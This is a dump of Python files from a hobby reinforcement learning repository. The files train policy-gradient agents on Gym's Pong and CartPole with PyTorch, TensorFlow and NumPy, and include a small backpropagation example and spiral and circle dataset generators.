enumerate(dataloader_test):\n x = x.unsqueeze(1).type(dtype)\n a = t[:,0].type(dtype_L) # action\n r = t[:,1].type(dtype) # reward\n error = torch.mean(Variable(r)*loss(polnet(Variable(x)), Variable(a)))\n error.backward()\n test_loss.add(error.data[0])\n print('\\rTesting: [%d/%d] [%0.2f%%] loss=%0.1f'%(epoch, num_epochs, 100.0*(i+1)/len(dataloader_test), error.data[0]), end='')\n print('\\nEpoch summary: [%d/%d] train_loss=%0.3f test_loss=%0.3f' % (epoch,num_epochs,train_loss(),test_loss()))\n #dl.log('train_loss',train_loss())\n# dl.log('test_loss',test_loss())\n #dl.plot('Epoch','loss')\n\n\npolnet = PolicyNet((80,80))\nif USE_CUDA:\n polnet.cuda()\noptimizer = optim.RMSprop(polnet.parameters(), lr = 1e-3,\nweight_decay=0.99)\nloss = nn.CrossEntropyLoss(reduce = False)\n\nmgr = multiprocessing.Manager()\nres_obs = mgr.list()\nres_tar = mgr.list()\n\nenv = gym.make('Pong-v0')\n\nfor k in range(800):\n dataset = generate_data(env, polnet, n_games=10)\n policygradtrain(polnet, loss, optimizer, dataset, num_epochs=10,\nexperiment_name='Pong PG training', test_set_ratio=0.0)" }, { "alpha_fraction": 0.5165912508964539, "alphanum_fraction": 0.5512820482254028, "avg_line_length": 36.94117736816406, "blob_id": "6fbde0b1982fe5207eff8a59533879e4747f2e84", "content_id": "0586c7cc6aa390d5a991e6c0ed52c38d4a21129a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1326, "license_type": "no_license", "max_line_length": 122, "num_lines": 34, "path": "/original/Agent.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import numpy as np\r\nfrom Tools import sigmoid\r\n\r\n\r\nclass Agent(object):\r\n\r\n def __init__(self, height, input_space, eta):\r\n self.W1 = np.random.randn(height, input_space)\r\n self.b1 = np.zeros((height, 1))\r\n self.W2 = np.random.randn(1, height)\r\n self.b2 = 0\r\n self.eta = eta\r\n\r\n def determine_action(self, observation):\r\n g = np.dot(self.W1, observation) + self.b1\r\n f = sigmoid(np.dot(self.W2, np.maximum(g, 0)) + self.b2)\r\n action = 0 if f[0][0] < 1-f[0][0] else 1\r\n return action, f\r\n\r\n def update_weights(self, history):\r\n # Learning\r\n d = -(np.multiply(history.ep_y, (1 - history.ep_f)) - np.multiply(1 - history.ep_y, history.ep_f)) * history.ep_r\r\n\r\n # -ve log - likelihood gradients\r\n d_W2 = np.dot(d, np.maximum(np.dot(self.W1, history.ep_X) + self.b1, 0).T)\r\n d_b2 = np.sum(d, axis=1)\r\n d_W1 = np.dot(np.multiply(d, np.multiply(np.dot(self.W1, history.ep_X) + self.b1 > 0, self.W2.T)), history.ep_X.T)\r\n d_b1 = np.sum(np.multiply(d, np.multiply(np.dot(self.W1, history.ep_X) + self.b1 > 0, self.W2.T)), axis=1)\r\n\r\n # update weights\r\n self.W1 -= self.eta * d_W1\r\n self.b1 -= self.eta * d_b1[:, None]\r\n self.W2 -= self.eta * d_W2\r\n self.b2 -= self.eta * d_b2\r\n\r\n" }, { "alpha_fraction": 0.5484228134155273, "alphanum_fraction": 0.5561704635620117, "avg_line_length": 26.378787994384766, "blob_id": "bbfd20da54fceee5c3775a1ba91a2d4f32c19ab2", "content_id": "3a8a967457d7692e13270db47723dd29548f3c9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1807, "license_type": "no_license", "max_line_length": 98, "num_lines": 66, "path": "/FlowPong3/Train.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import gym\nfrom FlowPong3.Model import Model\nimport FlowPong3.WorkerUtils as wu\nfrom FlowPong3.Statistics import Statistics\nimport tensorflow as tf\nimport numpy as np\n\n\ndef train(learning_rate):\n seed = 1\n tf.set_random_seed(seed)\n np.random.seed(seed)\n stats = Statistics()\n\n optim = tf.train.AdamOptimizer(learning_rate)\n model = Model(optim, action_classes=2)\n\n gpu_options = tf.GPUOptions(allow_growth=True)\n config = tf.ConfigProto(gpu_options=gpu_options)\n with tf.Session(config=config) as sess:\n sess.run(tf.global_variables_initializer())\n\n print(\"Started Worker Updates\")\n env = gym.make(\"Pong-v0\")\n env.seed(seed)\n\n while True:\n frame = env.reset()\n\n for i in range(21):\n frame, r, done, info = env.step(0)\n\n prev_x = wu.prepro(frame)\n frame, r, done, info = env.step(0)\n\n history = {\"observations\": [], \"actions\": [], \"rewards\": []}\n done = False\n total_reward = 0\n\n while not done:\n cur_x = wu.prepro(frame)\n x = cur_x - prev_x\n prev_x = cur_x\n\n history[\"observations\"].append(x)\n\n action_out = sess.run(model.action_out_sym, feed_dict={model.observations_sym: x})\n\n action_hot = wu.choose_action(action_out)\n\n history[\"actions\"].append(action_hot)\n\n frame, r, done, info = env.step(np.argmax(action_hot) + 2)\n\n total_reward += r\n\n history[\"rewards\"].append(r)\n\n if done:\n wu.train(sess, model, history)\n stats.update(total_reward)\n\n\n# spawn must be called inside main\nif __name__ == '__main__':\n train(learning_rate=1e-3)\n" }, { "alpha_fraction": 0.5270758271217346, "alphanum_fraction": 0.5535499453544617, "avg_line_length": 33.625, "blob_id": "7c9046cafa4732b061413d310ece6eb78cf1dcac", "content_id": "052dd279ae062c07c914fa8e1e269e4581fdd22f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 831, "license_type": "no_license", "max_line_length": 158, "num_lines": 24, "path": "/FlowPong/Statistics.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "from multiprocessing import Value, Lock\n\n\nclass Statistics(object):\n\n def __init__(self):\n self.lock = Lock()\n self.episode = Value(\"i\", 0)\n self.has_run = Value(\"i\", 0)\n self.best = Value(\"d\", 0)\n self.running = Value(\"d\", 0)\n\n def update(self, reward):\n with self.lock:\n self.episode.value += 1\n if self.has_run.value == 0:\n self.best.value = reward\n elif reward > self.best.value:\n self.best.value = reward\n\n self.running.value = reward if self.has_run.value == 0 else self.running.value * 0.99 + reward * 0.01\n\n self.has_run.value = 1\n print(\"episode {:5.0f} complete (new:{:5.0f}, avg:{:5.0f}, best:{:5.0f})\".format(self.episode.value, reward, self.running.value, self.best.value))\n" }, { "alpha_fraction": 0.5215855836868286, "alphanum_fraction": 0.5480769276618958, "avg_line_length": 31.66666603088379, "blob_id": "7dda5229b0209da7bfd315dfe3e3e6e10f3ce3c3", "content_id": "2a0d7a713920476e204f1a27998333a0f71d7820", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5096, "license_type": "no_license", "max_line_length": 138, "num_lines": 156, "path": "/BP-Pong/BP-Pong-nn.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import random\nimport gym\nimport torch\nfrom math import sqrt\nimport numpy as np\nimport torch.nn as nn \nfrom torch.autograd import Variable\nfrom torch.optim import RMSprop\nimport torch.multiprocessing as mp\n\ndef prepro(I):\n \"\"\" prepro 210x160x3 uint8 frame into 6400 (80x80) 1D float vector \"\"\"\n I = I[35:195] # crop\n I = I[::2, ::2, 0] # downsample by factor of 2\n I[I == 144] = 0 # erase background (background type 1)\n I[I == 109] = 0 # erase background (background type 2)\n I[I != 0] = 1 # everything else (paddles, ball) just set to 1\n return Variable(torch.from_numpy(np.array(I, dtype=\">f\").reshape(1,1,80,80)).cuda())\n\ndef chooseAction(f):\n th = random.uniform(0, 1)\n runSum = 0\n for i in range(f.size(1)):\n runSum += f.data[0,i]\n if th < runSum:\n return i\n\ndef compileHistory(history):\n history[\"observation\"] = torch.stack(history[\"observation\"])\n history[\"output\"] = torch.stack(history[\"output\"])\n history[\"reward\"] = discount_rewards(torch.stack(history[\"reward\"]))\n history[\"reward\"] -= torch.mean(history[\"reward\"])\n history[\"reward\"] /= torch.std(history[\"reward\"])\n history[\"dlogp\"] = torch.stack(history[\"dlogp\"])\n\ndef discount_rewards(r):\n \"\"\" take 1D float array of rewards and compute discounted reward \"\"\"\n discounted_r = torch.zeros_like(r).cuda()\n running_add = 0\n for t in reversed(range(r.size(0))):\n if r.data[t, 0] != 0: running_add = 0 # reset the sum, since this was a game boundary (pong specific!)\n running_add = running_add * 0.99 + r.data[t, 0]\n discounted_r.data[t, 0] = running_add\n return discounted_r\n\ndef run(env, model, optim, results):\n while True:\n observation = env.reset()\n\n prev_x = None\n history = {\"observation\": [], \"output\": [], \"dlogp\": [], \"reward\": []}\n done = False\n\n model.eval()\n\n while not done:\n cur_x = prepro(observation)\n x = cur_x - prev_x if prev_x is not None else Variable(torch.zeros(1,1,80,80).cuda())\n prev_x = cur_x\n\n output = model(x)\n action = chooseAction(output)\n\n history[\"observation\"].append(x)\n history[\"output\"].append(output)\n history[\"dlogp\"].append(torch.log(output[0,action]))\n\n observation, r, done, info = env.step(action+2)\n\n history[\"reward\"].append(Variable(torch.FloatTensor([r]).cuda()))\n \n reward = torch.sum(torch.stack(history[\"reward\"])).data[0]\n results.put(reward)\n\n model.train()\n\n compileHistory(history)\n updateModel(model, optim, history)\n \n\ndef updateModel(model, optim, history):\n optim.zero_grad()\n loss = -torch.sum(history[\"reward\"]*history[\"dlogp\"])\n loss.backward()\n optim.step\n\ndef main():\n mp.set_start_method('spawn')\n workers = 2\n learning_rate = 1e-4\n model = Model(2)\n model.cuda()\n model.share_memory()\n optimizer = RMSprop(model.parameters(), lr=learning_rate)\n envs = []\n for i in range(workers):\n envs.append(gym.make(\"Pong-v0\"))\n\n episode = 0\n best_score = None\n running_reward = None\n\n results = mp.Queue()\n processes = []\n\n #Start workers\n for i in range(workers):\n process = mp.Process(target=run, args=(envs[i], model, optimizer, results,))\n process.start()\n processes.append(process)\n\n while True:\n episode += 1\n\n reward = results.get()\n\n if best_score is None:\n best_score = reward\n elif reward > best_score:\n best_score = reward\n running_reward = reward if running_reward is None else running_reward * 0.99 + reward * 0.01\n if episode % 1 == 0:\n print(\"episode {:4.0f} complete - average reward = {:3.0f}, last score was = {:3.0f}, best score is = {:3.0f}\".format(episode,\n running_reward,\n reward,\n best_score))\n\nclass Model(nn.Module):\n\n def __init__(self, num_classes):\n super(Model, self).__init__()\n self.conv1 = nn.Sequential(\n nn.Conv2d(1, 16, kernel_size=5, stride=2),\n nn.BatchNorm2d(16),\n nn.ReLU())\n self.conv2 = nn.Sequential(\n nn.Conv2d(16, 32, kernel_size=5, stride=2),\n nn.BatchNorm2d(32),\n nn.ReLU())\n self.conv3 = nn.Sequential(\n nn.Conv2d(32, 24, kernel_size=5, stride=2),\n nn.BatchNorm2d(24),\n nn.ReLU())\n self.fc = nn.Linear(24*7*7, num_classes)\n self.softmax = nn.Softmax(1)\n\n def forward(self, out):\n out = self.conv1(out)\n out = self.conv2(out)\n out = self.conv3(out)\n out = self.fc(out.view(out.size(0), -1))\n return self.softmax(out)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.515565037727356, "alphanum_fraction": 0.5292111039161682, "avg_line_length": 38.08333206176758, "blob_id": "2845e2f8f54483516ba0e58c9169161837723eba", "content_id": "03359ae68538760494831de739ff59a873dd549d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2345, "license_type": "no_license", "max_line_length": 142, "num_lines": 60, "path": "/MP-Conv-Pong-Split/Evaluator.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "#!/home/michael/anaconda3/envs/AIGym/bin/python3.6\nimport torch.multiprocessing as mp\nfrom torch.multiprocessing import SimpleQueue\nimport torch.optim as optim\nimport torch.nn as nn\nimport torch\nfrom Model import Model\nfrom Worker import Worker\nimport gym\n\ndef main():\n episode = 0\n path = \"/home/michael/dev/fyp/AIGym/MP-Conv-Pong/\"\n mp.set_start_method('spawn')\n worker_count = 3#mp.cpu_count()\n learning_rate = 1e-3\n model = Model(2)\n criterion = nn.CrossEntropyLoss(reduce = False)\n optimizer = optim.Adam(model.parameters(), lr=learning_rate)\n if episode > 0:\n model.load_state_dict(torch.load(path+\"Models/\"+str(episode)))\n optimizer.load_state_dict(torch.load(path+\"Optimizers/\"+str(episode)))\n model.cuda()\n model.share_memory()\n\n envs = [gym.make(\"Pong-v0\") for i in range(worker_count)]\n\n batch_save = 100\n best_score = None\n running_reward = None\n reward_queue = SimpleQueue()\n\n #Start workers\n workers = [Worker(envs[i], model, criterion, optimizer, reward_queue, str(i+1)) for i in range(worker_count)]\n [w.start() for w in workers]\n\n # Gather rewards\n while True:\n reward = reward_queue.get()\n if not isinstance(reward, float):\n print(reward)\n else:\n episode += 1\n if (episode % batch_save == 0):\n torch.save(model.state_dict(), path+\"Models/\"+str(episode))\n torch.save(optimizer.state_dict(), path+\"Optimizers/\"+str(episode))\n \n if best_score is None:\n best_score = reward\n elif reward > best_score:\n best_score = reward\n running_reward = reward if running_reward is None else running_reward * 0.99 + reward * 0.01\n if episode % 1 == 0:\n print(\"episode {:4.0f} complete - average reward = {:3.0f}, last score was = {:3.0f}, best score is = {:3.0f}\".format(episode,\n running_reward,\n reward,\n best_score))\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5912547707557678, "alphanum_fraction": 0.6207224130630493, "avg_line_length": 29.909090042114258, "blob_id": "6b8b581a7597b27b10f3cd802361140c0966e247", "content_id": "22e3fdba0a9486c9d0bad6a9236a43ee6f3485db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2104, "license_type": "no_license", "max_line_length": 77, "num_lines": 66, "path": "/Backprop-example/Backprop.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "# Taken from Stanford College Convolutional Neural networks course\r\n# http://cs231n.github.io/neural-networks-case-study/ \r\nimport numpy as np\r\nfrom Datasets import spiral_ds as spiral\r\n\r\nN = 100 # number of points per class\r\nD = 2 # dimensionality\r\nK = 2 # number of classes\r\nX, y = spiral(N, K)\r\n\r\nh = 100 # size of hidden layer\r\nW = 0.01 * np.random.randn(D, h)\r\nb = np.zeros((1, h))\r\nW2 = 0.01 * np.random.randn(h, K)\r\nb2 = np.zeros((1, K))\r\n\r\n# some hyperparameters\r\nstep_size = 1e-0\r\nreg = 1e-3 # regularization strength\r\n\r\n# gradient descent loop\r\nnum_examples = X.shape[0]\r\nfor i in range(10000):\r\n\r\n # evaluate class scores, [N x K]\r\n hidden_layer = np.maximum(0, np.dot(X, W) + b) # note, ReLU activation\r\n scores = np.dot(hidden_layer, W2) + b2\r\n\r\n # compute the class probabilities\r\n exp_scores = np.exp(scores)\r\n probs = exp_scores / np.sum(exp_scores, axis=1, keepdims=True) # [N x K]\r\n\r\n # compute the loss: average cross-entropy loss and regularization\r\n corect_logprobs = -np.log(probs[range(num_examples), y])\r\n data_loss = np.sum(corect_logprobs) / num_examples\r\n reg_loss = 0.5 * reg * np.sum(W * W) + 0.5 * reg * np.sum(W2 * W2)\r\n loss = data_loss + reg_loss\r\n if i % 1000 == 0:\r\n print(\"iteration %d: loss %f\" % (i, loss))\r\n\r\n # compute the gradient on scores\r\n dscores = probs\r\n dscores[range(num_examples), y] -= 1\r\n dscores /= num_examples\r\n\r\n # backpropate the gradient to the parameters\r\n # first backprop into parameters W2 and b2\r\n dW2 = np.dot(hidden_layer.T, dscores)\r\n db2 = np.sum(dscores, axis=0, keepdims=True)\r\n # next backprop into hidden layer\r\n dhidden = np.dot(dscores, W2.T)\r\n # backprop the ReLU non-linearity\r\n dhidden[hidden_layer <= 0] = 0\r\n # finally into W,b\r\n dW = np.dot(X.T, dhidden)\r\n db = np.sum(dhidden, axis=0, keepdims=True)\r\n\r\n # add regularization gradient contribution\r\n dW2 += reg * W2\r\n dW += reg * W\r\n\r\n # perform a parameter update\r\n W += -step_size * dW\r\n b += -step_size * db\r\n W2 += -step_size * dW2\r\n b2 += -step_size * db2" }, { "alpha_fraction": 0.597385048866272, "alphanum_fraction": 0.6009919047355652, "avg_line_length": 33.123077392578125, "blob_id": "2635a84e55e26e064bee0e4fe29712693d4ea8e7", "content_id": "2aa94dd39796634ea3299edc57b99b2f03db3172", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2218, "license_type": "no_license", "max_line_length": 117, "num_lines": 65, "path": "/LSTMPong/Worker.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import gym\nfrom FlowPong.Model import Model\nimport FlowPong.WorkerUtils as wu\nimport tensorflow as tf\nimport numpy as np\n\n\ndef update_target_graph(from_scope,to_scope):\n from_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, from_scope)\n to_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, to_scope)\n\n op_holder = []\n for from_var,to_var in zip(from_vars,to_vars):\n op_holder.append(to_var.assign(from_var))\n return op_holder\n\n\ndef run(worker_no, learning_rate, cluster, data_bins, stats):\n name = \"worker%d\" % worker_no\n with tf.device(tf.train.replica_device_setter(worker_device=\"/job:worker/task:%d\" % worker_no, cluster=cluster)):\n optim = tf.train.AdamOptimizer(learning_rate)\n Model(\"global\")\n\n local_model = Model(name, optim=optim)\n\n update_local_ops = update_target_graph('global', name)\n\n gpu_options = tf.GPUOptions(allow_growth=True)\n config = tf.ConfigProto(gpu_options=gpu_options)\n server = tf.train.Server(cluster, job_name=\"worker\", task_index=worker_no, config=config)\n with tf.train.MonitoredTrainingSession(master=server.target) as sess:\n sess.run(update_local_ops)\n print(\"Started Worker Updates\")\n env = gym.make(\"Pong-v0\")\n\n while True:\n frame = env.reset()\n\n for i in range(21):\n frame, r, done, info = env.step(0)\n\n prev_x = wu.prepro(frame)\n frame, r, done, info = env.step(0)\n\n done = False\n total_reward = 0\n\n while not done:\n cur_x = wu.prepro(frame)\n x = cur_x - prev_x\n prev_x = cur_x\n\n action_out = sess.run(local_model.action_out_sym, feed_dict={local_model.observations_sym: x})\n action_hot = wu.choose_action(action_out)\n\n frame, r, done, info = env.step(np.argmax(action_hot) + 2)\n\n total_reward += r\n\n data_bins.insert(worker_no, x, action_hot, np.zeros(1)+r)\n\n if done:\n wu.train(sess, local_model, *data_bins.empty_bin(worker_no))\n stats.update(total_reward)\n sess.run(update_local_ops)\n" }, { "alpha_fraction": 0.5148782730102539, "alphanum_fraction": 0.5779982209205627, "avg_line_length": 24.159090042114258, "blob_id": "b212f030c327b3dba689af3bcf8a34866e06f1ba", "content_id": "b63aeab05177232a2e5fae1d576b597ec03395cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1109, "license_type": "no_license", "max_line_length": 85, "num_lines": 44, "path": "/Grad-Decent/Grad-Decent.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import numpy as np\n\n\ndef sigmoid(x):\n return 1.0 / (1.0 + np.exp(-x)) # sigmoid \"squashing\" function to interval [0,1]\n\n\n#np.random.seed(50)\nlearning_rate = 0.00005\ninput_space = 2\nheight = 10\n\nW1 = np.random.randn(height, input_space)\nb1 = np.zeros((height, 1))\nW2 = np.random.randn(1, height)\nb2 = 0\n\n# generating labelled training data\nN = 1000\nX = (np.random.rand(2, N) * 10)-5\ny = (np.sqrt(np.sum(np.multiply(X, X), axis=0)) < 3).reshape(1, N)\n\nfor i in range(1, 1000):\n\n g = np.dot(W1, X) + b1\n f = sigmoid(np.dot(W2, np.maximum(g, 0)) + b2)\n\n E = np.sum(-(np.multiply(y, np.log(f)) + np.multiply(1 - y, np.log(1 - f))))\n print(E)\n\n # Learning\n d = -(np.subtract(y, f))\n\n # -ve log - likelihood gradients\n D_W2 = np.dot(d, np.maximum(g, 0).T)\n D_b2 = np.sum(d, axis=1)\n D_W1 = np.dot(np.multiply(d, np.multiply(g > 0, W2.T)), X.T)\n D_b1 = np.sum(np.multiply(d, np.multiply(g > 0, W2.T)), axis=1)\n\n # update step\n W1 = W1 - learning_rate * D_W1\n b1 = b1 - learning_rate * D_b1[:, None]\n W2 = W2 - learning_rate * D_W2\n b2 = b2 - learning_rate * D_b2\n\n\n" }, { "alpha_fraction": 0.5850202441215515, "alphanum_fraction": 0.6143724918365479, "avg_line_length": 37.03845977783203, "blob_id": "0079f85fd05635eae72f4421861bd65f3999e9e8", "content_id": "45fa0e2767e16f651087461662f32ac51bdb21a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 988, "license_type": "no_license", "max_line_length": 73, "num_lines": 26, "path": "/Torch-Spiral-Rate/RateModel.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "#!/home/michael/anaconda3/envs/AIGym/bin/python3.6\nimport torch.nn as nn\nimport torch\n\nclass RateModel(nn.Module):\n\n def __init__(self, input_space, height, num_classes):\n super(RateModel, self).__init__()\n self.W1 = nn.Linear(input_space, height, bias=False)\n self.h1 = nn.Parameter(torch.zeros(1, input_space))\n self.R1 = nn.Linear(input_space, height, bias=False)\n self.R1.weight.data.fill_(0)\n self.v1 = nn.Parameter(torch.zeros(1, height))\n\n self.relu = nn.ReLU()\n \n self.W2 = nn.Linear(height, num_classes, bias=False)\n self.h2 = nn.Parameter(torch.zeros(1, height))\n self.R2 = nn.Linear(height, num_classes, bias=False)\n self.R2.weight.data.fill_(0)\n self.v2 = nn.Parameter(torch.zeros(1, num_classes))\n\n def forward(self, out):\n out = self.relu(self.v1 + self.W1(out) + self.R1(out+self.h1)**2)\n out = self.v2 + self.W2(out) + self.R2(out+self.h2)**2\n return out" }, { "alpha_fraction": 0.5525028109550476, "alphanum_fraction": 0.5867519974708557, "avg_line_length": 27.880434036254883, "blob_id": "33032781042dc60af31db13fab05135c10c5e26b", "content_id": "805f56718b2e81f19482492f56dd7934f18ffaf2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2657, "license_type": "no_license", "max_line_length": 136, "num_lines": 92, "path": "/GD-Cart-Rate/__init__.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import gym\nimport numpy as np\n\nfrom original import sigmoid, discount_rewards\n\nenv = gym.make('CartPole-v0')\n\nseed = 50\nnp.random.seed(seed)\nenv.seed(seed)\n\nlearning_rate = 1e-5\ninput_space = 4\nheight = 200\n\nW1 = np.random.randn(height, input_space)\nR1 = np.zeros_like(W1)\nb1 = np.zeros((height, 1))\nW2 = np.random.randn(1, height)\nR2 = np.zeros_like(W2)\nb2 = 0\n\nrunning_reward = None\nepisode = 0\nbest_score = None\n\nwhile True:\n episode += 1\n observation = env.reset()\n\n ep_X = []\n ep_f = []\n ep_y = []\n ep_rewards = []\n\n done = False\n # Run game\n while not done:\n #env.render()\n\n ep_X.append(observation)\n g = np.maximum(np.dot(W1, observation) + np.dot(R1, np.multiply(observation, observation)) + b1, 0)\n f = sigmoid(np.dot(W2, g) + np.dot(R2, np.multiply(g, g)) + b2)\n ep_f.append(f[0][0])\n\n if f[0][0] > np.random.uniform():\n action = 0\n else:\n action = 1\n ep_y.append(action)\n\n observation, reward, done, info = env.step(action)\n\n ep_rewards.append(reward)\n\n sum_reward = np.sum(ep_rewards)\n if best_score is None:\n best_score = sum_reward\n elif sum_reward > best_score:\n best_score = sum_reward\n running_reward = sum_reward if running_reward is None else running_reward * 0.99 + sum_reward * 0.01\n if episode % 100 == 0:\n print \"episode {:4.0f} complete - average reward = {:3.0f}, best score is = {:3.0f}\".format(episode, running_reward, best_score)\n\n # Arrays to matrices\n ep_X = np.column_stack(ep_X)\n ep_f = np.stack(ep_f)\n ep_y = np.stack(ep_y)\n\n # Adjust rewards\n discounted_epr = discount_rewards(ep_rewards, best_score)\n discounted_epr -= np.mean(discounted_epr)\n discounted_epr /= np.std(discounted_epr)\n\n # Learning\n d = -(np.multiply(ep_y, (1 - ep_f)) - np.multiply(1 - ep_y, ep_f)) * discounted_epr\n\n # -ve log - likelihood gradients\n D_g = np.dot(W1, ep_X) + np.dot(R1, np.multiply(ep_X, ep_X)) + b1\n D_g_max = np.maximum(D_g, 0)\n D_W2 = np.dot(d, D_g_max.T)\n D_R2 = np.dot(d, np.multiply(D_g_max, D_g_max).T)\n D_b2 = np.sum(d, axis=0)\n D_W1 = np.dot(np.multiply(d, np.multiply(D_g > 0, W2.T) + np.multiply(D_g > 0, R2.T)), ep_X.T) * 2\n D_R1 = np.dot(np.multiply(d, np.multiply(D_g > 0, W2.T) + np.multiply(D_g > 0, R2.T)), np.multiply(D_g_max, D_g_max).T) * 2\n D_b1 = np.sum(np.multiply(d, np.multiply(D_g > 0, W2.T) + np.multiply(D_g > 0, R2.T)), axis=1)\n\n # update step\n W1 = W1 - learning_rate * D_W1\n b1 = b1 - learning_rate * D_b1[:, None]\n W2 = W2 - learning_rate * D_W2\n b2 = b2 - learning_rate * D_b2\n" }, { "alpha_fraction": 0.504889965057373, "alphanum_fraction": 0.5281173586845398, "avg_line_length": 32.16666793823242, "blob_id": "24024e70d1668f10652c248a05ac8660c6119bbb", "content_id": "186a1b8a6772928620ed9a835e78fd4fcd4aaca3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 818, "license_type": "no_license", "max_line_length": 82, "num_lines": 24, "path": "/Datasets/__init__.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import numpy as np\r\n\r\n\r\ndef circle_ds(points, radius):\r\n # generating labelled training data\r\n N = points\r\n X = (np.random.rand(2, N) * 10)-(radius*1.66)\r\n y = (np.sqrt(np.sum(np.multiply(X, X), axis=0)) < radius).reshape(1, N)\r\n return X, y\r\n\r\n\r\ndef spiral_ds(points, classes):\r\n N = points # number of points per class\r\n D = 2 # dimensionality\r\n K = classes # number of classes\r\n X = np.zeros((N * K, D)) # data matrix (each row = single example)\r\n y = np.zeros(N * K, dtype='uint8') # class labels\r\n for j in range(K):\r\n ix = range(N * j, N * (j + 1))\r\n r = np.linspace(0.0, 1, N) # radius\r\n t = np.linspace(j * 4, (j + 1) * 4, N) + np.random.randn(N) * 0.2 # theta\r\n X[ix] = np.c_[r * np.sin(t), r * np.cos(t)]\r\n y[ix] = j\r\n return X, y" }, { "alpha_fraction": 0.6303530931472778, "alphanum_fraction": 0.6348609924316406, "avg_line_length": 41.935482025146484, "blob_id": "a92c6617f9cafa15626fbc7683ff8ecbd0fd5cd3", "content_id": "84475879e2e6d7f0c73c2dcbbde5ad7542117589", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1331, "license_type": "no_license", "max_line_length": 117, "num_lines": 31, "path": "/FlowTest/Worker.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nimport numpy as np\nimport time\n\n\ndef run(worker_count, worker_no, cluster):\n\n with tf.device(tf.train.replica_device_setter(worker_device=\"/job:worker/task:%d\" % worker_no, cluster=cluster)):\n with tf.variable_scope(\"global\"):\n gx_sym = tf.placeholder(tf.float32, shape=(worker_count,))\n gvar = tf.get_variable(\"test\", shape=(worker_count,), initializer=tf.initializers.zeros)\n gupdate = gvar.assign_add(gx_sym)\n\n with tf.variable_scope(\"worker%d\" % worker_no):\n lvar = tf.get_variable(\"test\", shape=(worker_count,), initializer=tf.initializers.zeros)\n lupdate = lvar.assign(gvar)\n\n gpu_options = tf.GPUOptions(allow_growth=True)\n config = tf.ConfigProto(gpu_options=gpu_options)\n server = tf.train.Server(cluster, job_name=\"worker\", task_index=worker_no, config=config)\n with tf.train.MonitoredTrainingSession(master=server.target) as sess:\n print(\"Started Worker Updates\")\n while True:\n x = np.zeros(worker_count, dtype=\"float32\")\n x[worker_no] += 1\n sess.run(gupdate, feed_dict={gx_sym: x})\n gvar_val = sess.run(gvar)\n sess.run(lupdate)\n lvar_val = sess.run(lvar)\n print(\"worker%d\" % worker_no, gvar_val, lvar_val)\n time.sleep(1)\n" }, { "alpha_fraction": 0.5876404643058777, "alphanum_fraction": 0.6022471785545349, "avg_line_length": 28.66666603088379, "blob_id": "e5afc88bffafc360bc0cc50039b3255c98696cc2", "content_id": "412096f7d9a2638f2256975b9738eb4eaf5f2256", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 890, "license_type": "no_license", "max_line_length": 67, "num_lines": 30, "path": "/Pollcart/History.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import numpy as np\n\n\nclass History:\n def __init__(self):\n self.observations = []\n self.L1As = []\n self.L2As = []\n self.probs = []\n self.actions = []\n self.rewards = []\n\n def append(self, observation, L1A, L2A, probs, action, reward):\n self.observations.append(observation)\n self.L1As.append(L1A)\n self.L2As.append(L2A)\n self.probs.append(probs)\n self.actions.append(action)\n self.rewards.append(reward)\n\n def stack(self):\n self.observations = np.column_stack(self.observations)\n self.L1As = np.column_stack(self.L1As)\n self.L2As = np.column_stack(self.L2As)\n self.probs = np.column_stack(self.probs)\n self.actions = np.column_stack(self.actions)\n self.rewards = np.column_stack(self.rewards)\n\n def size(self):\n return self.observations.shape[0]\n" }, { "alpha_fraction": 0.5257242918014526, "alphanum_fraction": 0.5482017993927002, "avg_line_length": 30.04800033569336, "blob_id": "6e161c35f0f58bad4e83131841fccc3da474136b", "content_id": "cc08c95b1b105baae1a402f244d3be1ff038c6b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4004, "license_type": "no_license", "max_line_length": 141, "num_lines": 125, "path": "/BP-Cart/BP-Cart.py", "repo_name": "M-J-Murray/gym_practice", "src_encoding": "UTF-8", "text": "import gym\r\nimport numpy as np\r\n\r\ndef softmax(f):\r\n exp_f = np.exp(f)\r\n return exp_f / np.sum(exp_f, axis=0, keepdims=True)\r\n\r\ndef policy_forward(network, observation):\r\n g = np.maximum(0, np.dot(network['W1'], observation) + 